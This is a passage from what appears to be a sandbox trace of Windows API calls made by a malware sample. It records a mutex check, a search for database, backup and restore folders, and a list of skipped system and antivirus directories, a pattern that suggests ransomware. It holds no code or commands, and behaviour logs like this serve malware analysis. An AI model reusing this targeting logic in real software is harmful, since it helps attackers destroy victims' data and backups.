(dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.995] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0056.995] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.995] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.995] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.995] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.995] GlobalUnlock (hMem=0x44000c) returned 0 [0056.995] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.995] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.995] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.995] GlobalUnlock (hMem=0x44000c) returned 0 [0056.995] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.995] GlobalUnlock (hMem=0x440004) returned 0 [0056.995] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.995] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0056.995] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.995] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.995] GlobalLock (hMem=0x440004) returned 0x550170 [0056.995] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.995] GlobalUnlock (hMem=0x440004) returned 0 [0056.995] GlobalLock (hMem=0x440004) returned 0x550170 [0056.995] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.995] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.995] GlobalUnlock (hMem=0x440004) returned 0 [0056.995] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.995] GlobalUnlock (hMem=0x44000c) returned 0 [0056.995] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.996] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.996] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.996] GlobalUnlock (hMem=0x44000c) returned 0 [0056.996] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.996] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.996] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.996] GlobalUnlock (hMem=0x44000c) returned 0 [0056.996] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.996] GlobalUnlock (hMem=0x440004) returned 0 [0056.996] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.996] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\System\\msadc\\en-US", len=0x30 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\System\\msadc\\en-US") returned 1 [0056.996] GlobalLock (hMem=0x440004) returned 0x550170 [0056.996] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.996] GlobalUnlock (hMem=0x440004) returned 0 [0056.996] GlobalLock (hMem=0x440004) returned 0x550170 [0056.996] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.996] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.996] GlobalUnlock (hMem=0x440004) returned 0 [0056.996] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.996] GlobalUnlock (hMem=0x44000c) returned 0 [0056.996] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@藂T薖T企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0057.000] GetLastError () returned 0x3 [0057.000] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.000] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="委U䱠@蔴T企@\x18㿬Q\x181")) returned 0xffffffff [0057.001] GetLastError () returned 0x2 [0057.001] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.001] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="委U䱠@匼U企@\x18?T\x18;")) returned 0xffffffff [0057.003] GetLastError () returned 0x2 [0057.003] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.003] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="委U䱠@㎬R企@\x18?T\x18D")) returned 0xffffffff [0057.004] GetLastError () returned 0x2 [0057.004] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.004] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="委U䱠@蔴T企@\x18匼U\x18j")) returned 0xffffffff [0057.006] GetLastError () returned 0x2 [0057.006] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0057.006] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="委U䱠@缤R企@\x18?T\x18q")) returned 0xffffffff [0057.007] GetLastError () returned 0x2 [0057.007] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\匸U\x80") returned 6 [0057.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="委U䱠@ꐬR企@\x18?T\x18y")) returned 0xffffffff [0057.009] GetLastError () returned 0x2 [0057.009] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0057.009] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="委U䱠@㎬R企@\x18?T\x18\x81")) returned 0xffffffff [0057.010] GetLastError () returned 0x2 [0057.010] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.010] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="委U䱠@缤R企@\x18?T\x18\x88")) returned 0xffffffff [0057.011] GetLastError () returned 0x2 [0057.012] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0057.012] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="委U䱠@ꐬR企@\x18?T\x18\x8f")) returned 0xffffffff [0057.013] GetLastError () returned 0x2 [0057.013] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.013] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0057.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="委U䱠@㎬R企@\x18?T\x18\x97")) returned 0xffffffff [0057.014] GetLastError () returned 0x2 [0057.014] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.014] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0057.015] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.015] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.015] GlobalUnlock (hMem=0x44000c) returned 0 [0057.015] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.015] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.015] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.015] GlobalUnlock (hMem=0x44000c) returned 0 [0057.015] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.015] GlobalUnlock (hMem=0x440004) returned 0 [0057.015] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.015] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.015] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.015] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0057.015] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.015] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.015] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.015] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.015] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.016] GlobalLock (hMem=0x440004) returned 0x550170 [0057.016] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.016] GlobalUnlock (hMem=0x440004) returned 0 [0057.016] GlobalLock (hMem=0x440004) returned 0x550170 [0057.016] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.016] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.016] GlobalUnlock (hMem=0x440004) returned 0 [0057.016] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.016] GlobalUnlock (hMem=0x44000c) returned 0 [0057.016] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.016] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.016] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.016] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.016] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0057.017] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0057.017] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0057.017] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0057.017] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.017] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msadc\\en-us\\") returned 0x31 [0057.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0057.018] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.018] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.018] GlobalUnlock (hMem=0x44000c) returned 0 [0057.018] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.018] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.018] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.018] GlobalUnlock (hMem=0x44000c) returned 0 [0057.018] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.018] GlobalUnlock (hMem=0x440004) returned 0 [0057.018] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0057.019] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.019] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0057.019] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.019] FileTimeToDosDateTime (in: 